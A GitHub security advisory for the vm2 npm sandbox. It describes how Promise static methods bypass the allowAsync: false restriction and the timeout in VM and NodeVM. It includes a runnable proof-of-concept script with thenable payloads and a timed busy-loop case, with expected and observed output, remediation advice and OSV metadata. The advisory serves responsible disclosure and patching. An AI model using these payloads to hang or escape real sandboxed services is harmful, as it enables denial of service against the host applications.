GHSA-F8GF-W286-FMQ2
Vulnerability from github – Published: 2026-10-05 22:47 – Updated: 2026-10-05 22:47Summary
When allowAsync is set to false, vm2 is expected to reject attempts to run asynchronous code. Direct use of Promise.prototype.then is blocked, but Promise static methods still assimilate attacker-controlled thenables. Promise.resolve(thenable), Promise.all([thenable]), Promise.race([thenable]), Promise.any([thenable]), and Promise.allSettled([thenable]) can invoke the thenable's then method in a microtask after VM.run() or NodeVM.run() has already returned.
This bypasses the documented async-execution restriction and runs outside the configured timeout, allowing sandboxed code to continue executing after the host believes execution is complete.
Details
The documented VM option says allowAsync: false should cause attempts to run async code to throw a VMError; README.md:139-145 also recommends using it with timeout. The implementation enforces part of this policy by replacing localPromise.prototype.then with an AsyncErrorHandler when async is disabled:
lib/setup-sandbox.js:1629-1637definesAsyncErrorHandler, whoseapplyandconstructtraps throwVMError: Async not available.lib/setup-sandbox.js:1743-1752installs that handler onlocalPromise.prototype.thenwhenallowAsyncis false.
However, Promise static methods are still exposed and rebound to localPromise:
lib/setup-sandbox.js:1816-1819wrapsPromise.all.lib/setup-sandbox.js:1821-1824wrapsPromise.race.lib/setup-sandbox.js:1826-1830wrapsPromise.allSettled.lib/setup-sandbox.js:1833-1837wrapsPromise.any.lib/setup-sandbox.js:1840-1843wrapsPromise.resolve.
Those wrappers prevent species attacks by forcing localPromise as the constructor, but they do not reject or neutralize thenables when allowAsync is false. Native Promise resolution then performs PromiseResolveThenableJob and calls the attacker-controlled then method asynchronously. That job does not go through the patched localPromise.prototype.then method, so the AsyncErrorHandler is never reached.
NodeVM inherits the same sandbox Promise setup through VM (lib/nodevm.js:328-332), so the same thenable-assimilation bypass is reachable in NodeVM as well.
The transformer fast path is not the root cause, but it explains why the minimal PoC is parser-independent: payloads below contain none of catch, import, async, with, the internal state identifier, or \u, so lib/transformer.js:82-89 returns without AST parsing.
PoC
Maintainer-runnable clean-checkout recipe:
npm install
node - <<'NODE'
const {VM, NodeVM} = require('./');
async function runVmCase(name, code) {
const events = [];
const vm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => events.push(value)}});
try {
const ret = vm.run(code);
console.log(`${name}: returned ${ret}`);
} catch (e) {
console.log(`${name}: threw ${e.name}:${e.message}`);
}
await new Promise(resolve => setImmediate(resolve));
console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`);
}
async function runNodeVmCase(name, code) {
const events = [];
const vm = new NodeVM({allowAsync: false, sandbox: {mark: value => events.push(value)}});
try {
const ret = vm.run(code);
console.log(`${name}: returned ${ret}`);
} catch (e) {
console.log(`${name}: threw ${e.name}:${e.message}`);
}
await new Promise(resolve => setImmediate(resolve));
console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`);
}
(async () => {
await runVmCase('VM Promise.resolve thenable', `Promise.resolve({then(r){mark('resolve-thenable')}}); 1`);
await runVmCase('VM Promise.all thenable', `Promise.all([{then(r){mark('all-thenable')}}]); 1`);
await runVmCase('VM Promise.race thenable', `Promise.race([{then(r){mark('race-thenable')}}]); 1`);
await runVmCase('VM Promise.any thenable', `Promise.any([{then(r){mark('any-thenable')}}]); 1`);
await runVmCase('VM Promise.allSettled thenable', `Promise.allSettled([{then(r){mark('allSettled-thenable')}}]); 1`);
await runVmCase('VM direct then negative control', `Promise.resolve(1).then(function(){mark('direct')}); 1`);
await runNodeVmCase('NodeVM Promise.resolve thenable', `Promise.resolve({then(r){mark('nodevm-resolve-thenable')}}); module.exports = 1;`);
await runNodeVmCase('NodeVM direct then negative control', `Promise.resolve(1).then(function(){mark('nodevm-direct')}); module.exports = 1;`);
const timeoutEvents = [];
const timeoutVm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => timeoutEvents.push(value)}});
const started = Date.now();
const ret = timeoutVm.run(`Promise.resolve({then(){var t=Date.now();while(Date.now()-t<35){};mark(Date.now())}}); 1`);
const afterRun = Date.now();
await new Promise(resolve => setImmediate(resolve));
console.log(`timeout case returned: ${ret}`);
console.log(`timeout case runReturnedInMs: ${afterRun - started}`);
console.log(`timeout case events: ${timeoutEvents.length}`);
console.log(`timeout case elapsedMs: ${Date.now() - started}`);
})();
NODE
Expected vulnerable output pattern:
VM Promise.resolve thenable: returned 1
VM Promise.resolve thenable events: resolve-thenable
VM Promise.all thenable: returned 1
VM Promise.all thenable events: all-thenable
VM Promise.race thenable: returned 1
VM Promise.race thenable events: race-thenable
VM Promise.any thenable: returned 1
VM Promise.any thenable events: any-thenable
VM Promise.allSettled thenable: returned 1
VM Promise.allSettled thenable events: allSettled-thenable
VM direct then negative control: threw VMError:Async not available
VM direct then negative control events: <none>
NodeVM Promise.resolve thenable: returned 1
NodeVM Promise.resolve thenable events: nodevm-resolve-thenable
NodeVM direct then negative control: threw VMError:Async not available
NodeVM direct then negative control events: <none>
timeout case returned: 1
timeout case runReturnedInMs: 0
timeout case events: 1
timeout case elapsedMs: 35
Observed local output from this environment, using temporary local acorn/acorn-walk stubs only because dependencies were not installed and the payloads take the transformer fast path without invoking the parser:
{
"results": [
["Promise.resolve thenable", "run-returned", 1],
["Promise.resolve thenable events", "resolve-thenable"],
["Promise.all thenable", "run-returned", 1],
["Promise.all thenable events", "all-thenable"],
["Promise.race thenable", "run-returned", 1],
["Promise.race thenable events", "race-thenable"],
["Promise.any thenable", "run-returned", 1],
["Promise.any thenable events", "any-thenable"],
["Promise.allSettled thenable", "run-returned", 1],
["Promise.allSettled thenable events", "allSettled-thenable"],
["direct then control", "threw", "VMError:Async not available"],
["direct then control events", "<none>"]
],
"timeoutCase": {
"ret": 1,
"runReturnedInMs": 0,
"events": [1779866562491],
"elapsedMs": 35
}
}
Observed NodeVM variant output:
NodeVM Promise.resolve thenable: returned 1
NodeVM Promise.resolve thenable events: nodevm-resolve-thenable
NodeVM direct then control: threw VMError:Async not available
NodeVM direct then control events: <none>
Impact
Applications commonly combine timeout with allowAsync: false so untrusted scripts run synchronously and cannot continue after run() returns. This issue breaks that security boundary. A sandboxed script can schedule a Promise thenable job, have VM.run() return successfully, and execute attacker-controlled code afterward. Because the code runs after VM.run() has returned, the configured timeout no longer interrupts it.
A malicious thenable can use this to block the host Node.js event loop after the host believes the sandbox run is finished. The proof above uses a bounded 35 ms loop for safety, but the same primitive can be made unbounded. The finding is therefore a sandbox policy and availability bypass. This report does not claim raw host-object exposure, process access, filesystem access, or host RCE.
Negative/control evidence: direct .then() is rejected with VMError: Async not available and no callback fires, confirming that the intended protection exists but is incomplete for static Promise thenable assimilation.
Suggested remediation
When allowAsync is false, reject or neutralize all Promise static-method paths that can schedule jobs, not only Promise.prototype.then. At minimum, Promise.resolve, Promise.all, Promise.race, Promise.any, and Promise.allSettled should not invoke attacker-controlled thenables under allowAsync: false. Possible fixes include replacing these static methods with AsyncErrorHandler-style throwers when async is disabled, or wrapping their inputs so thenable assimilation cannot schedule attacker code.
Add regression tests for VM and NodeVM that verify:
Promise.resolve({ then(){} })throws or does not call the thenable whenallowAsync: false.Promise.all,Promise.race,Promise.any, andPromise.allSettleddo the same for thenable elements.- Direct
.then()remains blocked. - A timeout-configured VM cannot execute code after
run()returns via Promise thenable assimilation.
Variant analysis summary
Confirmed variants:
VM({allowAsync:false}).run('Promise.resolve(thenable)')VM({allowAsync:false}).run('Promise.all([thenable])')VM({allowAsync:false}).run('Promise.race([thenable])')VM({allowAsync:false}).run('Promise.any([thenable])')VM({allowAsync:false}).run('Promise.allSettled([thenable])')NodeVM({allowAsync:false}).run('Promise.resolve(thenable)')
Negative cases checked:
- Direct
Promise.resolve(1).then(...)throwsVMError: Async not availablein bothVMandNodeVM. - NodeVM dangerous builtin exposure was reviewed separately and not implicated in this issue.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.7"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-92959"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T22:47:34Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nWhen `allowAsync` is set to `false`, vm2 is expected to reject attempts to run asynchronous code. Direct use of `Promise.prototype.then` is blocked, but Promise static methods still assimilate attacker-controlled thenables. `Promise.resolve(thenable)`, `Promise.all([thenable])`, `Promise.race([thenable])`, `Promise.any([thenable])`, and `Promise.allSettled([thenable])` can invoke the thenable\u0027s `then` method in a microtask after `VM.run()` or `NodeVM.run()` has already returned.\n\nThis bypasses the documented async-execution restriction and runs outside the configured `timeout`, allowing sandboxed code to continue executing after the host believes execution is complete.\n\n### Details\n\nThe documented VM option says `allowAsync: false` should cause attempts to run async code to throw a `VMError`; README.md:139-145 also recommends using it with `timeout`. The implementation enforces part of this policy by replacing `localPromise.prototype.then` with an `AsyncErrorHandler` when async is disabled:\n\n- `lib/setup-sandbox.js:1629-1637` defines `AsyncErrorHandler`, whose `apply` and `construct` traps throw `VMError: Async not available`.\n- `lib/setup-sandbox.js:1743-1752` installs that handler on `localPromise.prototype.then` when `allowAsync` is false.\n\nHowever, Promise static methods are still exposed and rebound to `localPromise`:\n\n- `lib/setup-sandbox.js:1816-1819` wraps `Promise.all`.\n- `lib/setup-sandbox.js:1821-1824` wraps `Promise.race`.\n- `lib/setup-sandbox.js:1826-1830` wraps `Promise.allSettled`.\n- `lib/setup-sandbox.js:1833-1837` wraps `Promise.any`.\n- `lib/setup-sandbox.js:1840-1843` wraps `Promise.resolve`.\n\nThose wrappers prevent species attacks by forcing `localPromise` as the constructor, but they do not reject or neutralize thenables when `allowAsync` is false. Native Promise resolution then performs `PromiseResolveThenableJob` and calls the attacker-controlled `then` method asynchronously. That job does not go through the patched `localPromise.prototype.then` method, so the `AsyncErrorHandler` is never reached.\n\n`NodeVM` inherits the same sandbox Promise setup through `VM` (`lib/nodevm.js:328-332`), so the same thenable-assimilation bypass is reachable in `NodeVM` as well.\n\nThe transformer fast path is not the root cause, but it explains why the minimal PoC is parser-independent: payloads below contain none of `catch`, `import`, `async`, `with`, the internal state identifier, or `\\u`, so `lib/transformer.js:82-89` returns without AST parsing.\n\n### PoC\n\nMaintainer-runnable clean-checkout recipe:\n\n```sh\nnpm install\nnode - \u003c\u003c\u0027NODE\u0027\nconst {VM, NodeVM} = require(\u0027./\u0027);\n\nasync function runVmCase(name, code) {\n const events = [];\n const vm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value =\u003e events.push(value)}});\n try {\n const ret = vm.run(code);\n console.log(`${name}: returned ${ret}`);\n } catch (e) {\n console.log(`${name}: threw ${e.name}:${e.message}`);\n }\n await new Promise(resolve =\u003e setImmediate(resolve));\n console.log(`${name} events: ${events.length ? events.join(\u0027,\u0027) : \u0027\u003cnone\u003e\u0027}`);\n}\n\nasync function runNodeVmCase(name, code) {\n const events = [];\n const vm = new NodeVM({allowAsync: false, sandbox: {mark: value =\u003e events.push(value)}});\n try {\n const ret = vm.run(code);\n console.log(`${name}: returned ${ret}`);\n } catch (e) {\n console.log(`${name}: threw ${e.name}:${e.message}`);\n }\n await new Promise(resolve =\u003e setImmediate(resolve));\n console.log(`${name} events: ${events.length ? events.join(\u0027,\u0027) : \u0027\u003cnone\u003e\u0027}`);\n}\n\n(async () =\u003e {\n await runVmCase(\u0027VM Promise.resolve thenable\u0027, `Promise.resolve({then(r){mark(\u0027resolve-thenable\u0027)}}); 1`);\n await runVmCase(\u0027VM Promise.all thenable\u0027, `Promise.all([{then(r){mark(\u0027all-thenable\u0027)}}]); 1`);\n await runVmCase(\u0027VM Promise.race thenable\u0027, `Promise.race([{then(r){mark(\u0027race-thenable\u0027)}}]); 1`);\n await runVmCase(\u0027VM Promise.any thenable\u0027, `Promise.any([{then(r){mark(\u0027any-thenable\u0027)}}]); 1`);\n await runVmCase(\u0027VM Promise.allSettled thenable\u0027, `Promise.allSettled([{then(r){mark(\u0027allSettled-thenable\u0027)}}]); 1`);\n await runVmCase(\u0027VM direct then negative control\u0027, `Promise.resolve(1).then(function(){mark(\u0027direct\u0027)}); 1`);\n\n await runNodeVmCase(\u0027NodeVM Promise.resolve thenable\u0027, `Promise.resolve({then(r){mark(\u0027nodevm-resolve-thenable\u0027)}}); module.exports = 1;`);\n await runNodeVmCase(\u0027NodeVM direct then negative control\u0027, `Promise.resolve(1).then(function(){mark(\u0027nodevm-direct\u0027)}); module.exports = 1;`);\n\n const timeoutEvents = [];\n const timeoutVm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value =\u003e timeoutEvents.push(value)}});\n const started = Date.now();\n const ret = timeoutVm.run(`Promise.resolve({then(){var t=Date.now();while(Date.now()-t\u003c35){};mark(Date.now())}}); 1`);\n const afterRun = Date.now();\n await new Promise(resolve =\u003e setImmediate(resolve));\n console.log(`timeout case returned: ${ret}`);\n console.log(`timeout case runReturnedInMs: ${afterRun - started}`);\n console.log(`timeout case events: ${timeoutEvents.length}`);\n console.log(`timeout case elapsedMs: ${Date.now() - started}`);\n})();\nNODE\n```\n\nExpected vulnerable output pattern:\n\n```text\nVM Promise.resolve thenable: returned 1\nVM Promise.resolve thenable events: resolve-thenable\nVM Promise.all thenable: returned 1\nVM Promise.all thenable events: all-thenable\nVM Promise.race thenable: returned 1\nVM Promise.race thenable events: race-thenable\nVM Promise.any thenable: returned 1\nVM Promise.any thenable events: any-thenable\nVM Promise.allSettled thenable: returned 1\nVM Promise.allSettled thenable events: allSettled-thenable\nVM direct then negative control: threw VMError:Async not available\nVM direct then negative control events: \u003cnone\u003e\nNodeVM Promise.resolve thenable: returned 1\nNodeVM Promise.resolve thenable events: nodevm-resolve-thenable\nNodeVM direct then negative control: threw VMError:Async not available\nNodeVM direct then negative control events: \u003cnone\u003e\ntimeout case returned: 1\ntimeout case runReturnedInMs: 0\ntimeout case events: 1\ntimeout case elapsedMs: 35\n```\n\nObserved local output from this environment, using temporary local `acorn`/`acorn-walk` stubs only because dependencies were not installed and the payloads take the transformer fast path without invoking the parser:\n\n```json\n{\n \"results\": [\n [\"Promise.resolve thenable\", \"run-returned\", 1],\n [\"Promise.resolve thenable events\", \"resolve-thenable\"],\n [\"Promise.all thenable\", \"run-returned\", 1],\n [\"Promise.all thenable events\", \"all-thenable\"],\n [\"Promise.race thenable\", \"run-returned\", 1],\n [\"Promise.race thenable events\", \"race-thenable\"],\n [\"Promise.any thenable\", \"run-returned\", 1],\n [\"Promise.any thenable events\", \"any-thenable\"],\n [\"Promise.allSettled thenable\", \"run-returned\", 1],\n [\"Promise.allSettled thenable events\", \"allSettled-thenable\"],\n [\"direct then control\", \"threw\", \"VMError:Async not available\"],\n [\"direct then control events\", \"\u003cnone\u003e\"]\n ],\n \"timeoutCase\": {\n \"ret\": 1,\n \"runReturnedInMs\": 0,\n \"events\": [1779866562491],\n \"elapsedMs\": 35\n }\n}\n```\n\nObserved `NodeVM` variant output:\n\n```text\nNodeVM Promise.resolve thenable: returned 1\nNodeVM Promise.resolve thenable events: nodevm-resolve-thenable\nNodeVM direct then control: threw VMError:Async not available\nNodeVM direct then control events: \u003cnone\u003e\n```\n\n### Impact\n\nApplications commonly combine `timeout` with `allowAsync: false` so untrusted scripts run synchronously and cannot continue after `run()` returns. This issue breaks that security boundary. A sandboxed script can schedule a Promise thenable job, have `VM.run()` return successfully, and execute attacker-controlled code afterward. Because the code runs after `VM.run()` has returned, the configured timeout no longer interrupts it.\n\nA malicious thenable can use this to block the host Node.js event loop after the host believes the sandbox run is finished. The proof above uses a bounded 35 ms loop for safety, but the same primitive can be made unbounded. The finding is therefore a sandbox policy and availability bypass. This report does not claim raw host-object exposure, process access, filesystem access, or host RCE.\n\nNegative/control evidence: direct `.then()` is rejected with `VMError: Async not available` and no callback fires, confirming that the intended protection exists but is incomplete for static Promise thenable assimilation.\n\n### Suggested remediation\n\nWhen `allowAsync` is false, reject or neutralize all Promise static-method paths that can schedule jobs, not only `Promise.prototype.then`. At minimum, `Promise.resolve`, `Promise.all`, `Promise.race`, `Promise.any`, and `Promise.allSettled` should not invoke attacker-controlled thenables under `allowAsync: false`. Possible fixes include replacing these static methods with `AsyncErrorHandler`-style throwers when async is disabled, or wrapping their inputs so thenable assimilation cannot schedule attacker code.\n\nAdd regression tests for `VM` and `NodeVM` that verify:\n\n- `Promise.resolve({ then(){} })` throws or does not call the thenable when `allowAsync: false`.\n- `Promise.all`, `Promise.race`, `Promise.any`, and `Promise.allSettled` do the same for thenable elements.\n- Direct `.then()` remains blocked.\n- A timeout-configured VM cannot execute code after `run()` returns via Promise thenable assimilation.\n\n## Variant analysis summary\n\nConfirmed variants:\n\n- `VM({allowAsync:false}).run(\u0027Promise.resolve(thenable)\u0027)`\n- `VM({allowAsync:false}).run(\u0027Promise.all([thenable])\u0027)`\n- `VM({allowAsync:false}).run(\u0027Promise.race([thenable])\u0027)`\n- `VM({allowAsync:false}).run(\u0027Promise.any([thenable])\u0027)`\n- `VM({allowAsync:false}).run(\u0027Promise.allSettled([thenable])\u0027)`\n- `NodeVM({allowAsync:false}).run(\u0027Promise.resolve(thenable)\u0027)`\n\nNegative cases checked:\n\n- Direct `Promise.resolve(1).then(...)` throws `VMError: Async not available` in both `VM` and `NodeVM`.\n- NodeVM dangerous builtin exposure was reviewed separately and not implicated in this issue.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)\n- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)",
"id": "GHSA-f8gf-w286-fmq2",
"modified": "2026-10-05T22:47:34Z",
"published": "2026-10-05T22:47:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-f8gf-w286-fmq2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92959"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/1d1aa437a5a39b00b3de0deb3e31f751d4884f5f"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.8"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vm2-before-3.11.8-allowasync-bypass-via-promise-thenable"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.